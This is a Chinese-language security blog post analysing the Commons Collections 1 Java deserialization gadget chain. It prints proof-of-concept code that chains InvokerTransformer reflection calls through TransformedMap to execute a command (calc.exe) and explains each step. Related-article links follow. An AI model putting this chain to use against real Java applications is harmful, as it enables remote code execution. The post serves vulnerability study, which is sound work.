Java安全之Commons Collections1分析(一)

0x00 前言

在CC链中,其实具体执行过程还是比较复杂的。建议调试前先将一些前置知识的基础给看一遍。

Java安全之Commons Collections1分析前置知识

0x01 CC链分析

这是一段poc代码,执行完成后会弹出一个计算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap;
import java.util.Map; public class test { public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}

下面每一段一段代码的来进行分析。

首先Transformer是一个接口,ConstantTransformerInvokerTransformer都是Transformer接口的实现类。那么在这里抛出一个问题,Transformer明明是接口为什么可以new呢?这也是我一开始看到这段代码的时候的一个问题。

Transformer[] transformers = new Transformer[]

其实这里并不是new了一个接口,而是new了一个 Transformer类型的数组,里面存储的是 Transformer的实现类对象。

先来分析一下ConstantTransformer

这里是使用了构造方法传入参数,并且传入的参数为Runtime,而在调用到transform时,会进行返回我们传入的参数。后面会讲具体怎么去调用的这个方法。

InvokerTransformer分析

打一个debug跟踪到InvokerTransformer类里面

这里的传入了三个参数,第一个是方法名,第二个是参数类型,第三个是参数的值。

为了清晰,下面列一下,每个InvokerTransformer的参数值。

getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe

这里也有个transform方法,也是比较重要的一个点,但是在这里先不分析该方法,这个放在后面去做分析。

ChainedTransformer分析

来看下一段代码

Transformer transformerChain = new ChainedTransformer(transformers);

transformers数组传入ChainedTransformer构造方法里面。

该构造方法对进行赋值到本类的成员变量里面,后面如果调用了transform方法,就会遍历transformers数组进行逐个去调用他的transform。那么分析到这一步我们需要做的是ChainedTransformer的transform什么时候会被调用。

官方说明:

将指定的转换器连接在一起的转化器实现。
输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

也就是说该方法会将第一次的执行结果传递到第二次执行的参数里面去。

这里可以看到传入的Runtime,那么为什么传入的是Runtime呢?再回去看看ConstantTransformer这个类就可以知道,调用transform方法的话就会进行返回this.iConstant。而在定义数组的时候,我们就使用了ConstantTransformer的构造方法来进行赋值。

 new ConstantTransformer(Runtime.class)

所以这里传入的是Runtime的类。

在第一次执行的时候,已经将Runtime传入到了参数里面

这里的transform方法使用了反射。

 Class cls = input.getClass();
Method method = cls.getMethod(getMethod,null);
return method.invoke(input, getRuntime);

反射调用并且返回getRuntime对象。

第二次传入的是Runtime.getRuntime

Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);

第二次返回的是Runtime的实例化对象。

第三次又将实例化对象传入方法参数里面,

 Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");

这样一个命令就执行完成了,那么ChainedTransformer的作用就是将Transformer数组给拼接起来。

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

那么又会回到刚刚的问题,ChainedTransformer是怎么被调用的呢?

TransformedMap分析

先来查看他的构造方法

构造方法把传入的map和Transformer进行赋值。

在TransformedMap的transformValue方法中看到调用了this.valueTransformer的transform。而在下面一段代码就已经对他进行了赋值

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

TransformedMap类并不能直接new出来,需要使用decorat提供一个实例化对象。

在这里我们就已经知道了transformValue可以去调用transform方法,那么再来看看transformValue会在哪里被调用。

在put方法就会调用transformValue,从而导致transformValue调用transform方法去执行命令。

   public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
}; Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("1","1");

0x02 结尾

在这里我们是使用了代码直接的让他去弹出一个计算器,但是在实际运用中,需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱,下篇文章重新来完整的调试一下。

Java安全之Commons Collections1分析(一)的更多相关文章

  1. Java安全之Commons Collections1分析(二)

    Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...

  2. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  3. Java安全之Commons Collections1分析(三)

    Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...

  4. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  5. Java安全之Commons Collections2分析

    Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...

  6. Java安全之Commons Collections5分析

    Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...

  7. Java安全之Commons Collections7分析

    Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...

  8. Commons Collections1分析

    0x01.基础知识铺垫 接下来这个过程将涉及到几个接口和类 1.LazyMap 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map: Map outerMap = ...

  9. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

随机推荐

  1. 使用 Arduino 和 LM35 温度传感器监测温度

    上一篇玩儿了一下Arduino入门,这次再进一步,用一下LM35温度传感器来监测当前温度.LM35温度传感器已经在Arduino入门套件里包含了,就是那个有三个脚的小黑块儿. 我们先把这些东西连起来. ...

  2. SQL Server自动化运维系列——关于数据收集(多服务器数据收集和性能监控)

    需求描述 在生产环境中,很多情况下需要采集数据,用以定位问题或者形成基线. 关于SQL Server中的数据采集有着很多种的解决思路,可以采用Trace.Profile.SQLdiag.扩展事件等诸多 ...

  3. Python中通过cx_Oracle访问数据库遇到的问题总结

    以下是Python中通过cx_Oracle操作数据库的过程中我所遇到的问题总结,感谢我们测试组的前辈朱勃给予的帮助最终解决了下列两个问题:     1)安装cx_Oracle会遇到的问题:在Windo ...

  4. 翻译【ElasticSearch Server】第一章:开始使用ElasticSearch集群(6)

    创建一个新文档(Creating a new document) 现在我们将尝试索引一些文档.对于我们的示例,让我们想象我们正在为我们的博客建立某种CMS.实体之一是博客的文章.使用JSON记法,在以 ...

  5. DOM 其他一些特性

    cookie 允许javascript程序读写HTTP cookie 的特殊的属性 domain 允许当Web页面之间交互时,相同域名下相互信任的Web服务器之间协作放宽同源策略安全限制 (JavaS ...

  6. yii phpexcel自己主动生成文件保存到server上

    近期再整一个报表任务,每天必须把表导出来按excel格式发送邮件给管理员,利用phpexcel把表保存到server上.然后再通过phpmailer发送就ok. ob_end_clean();     ...

  7. Qt4----子例化QDialog(可扩展对话框的使用)

    1.linux下安装Qt4请参考如下博文: Qt4在linux下的安装 2.Qt4工程的创建请参考如下博文: Qt4创建工程的几种方法:linux系统 3.可扩展对话框 通过纯代码的形式,建立工程.点 ...

  8. Python 爬虫 NewCnblogs (爬虫-Django-数据分析)

    需求分析 数据库架构 注册 登录 首页 个人站点 文章+评论 后台 爬虫 数据分析 添加搜索+已上线

  9. 【Java每日一题】20170303

    20170302问题解析请点击今日问题下方的“[Java每日一题]20170303”查看(问题解析在公众号首发,公众号ID:weknow619) package Mar2017; public cla ...

  10. quora 的东西就是不一样

    Coding is just a part of process of problem solving, You should need to understand the underlying pr ...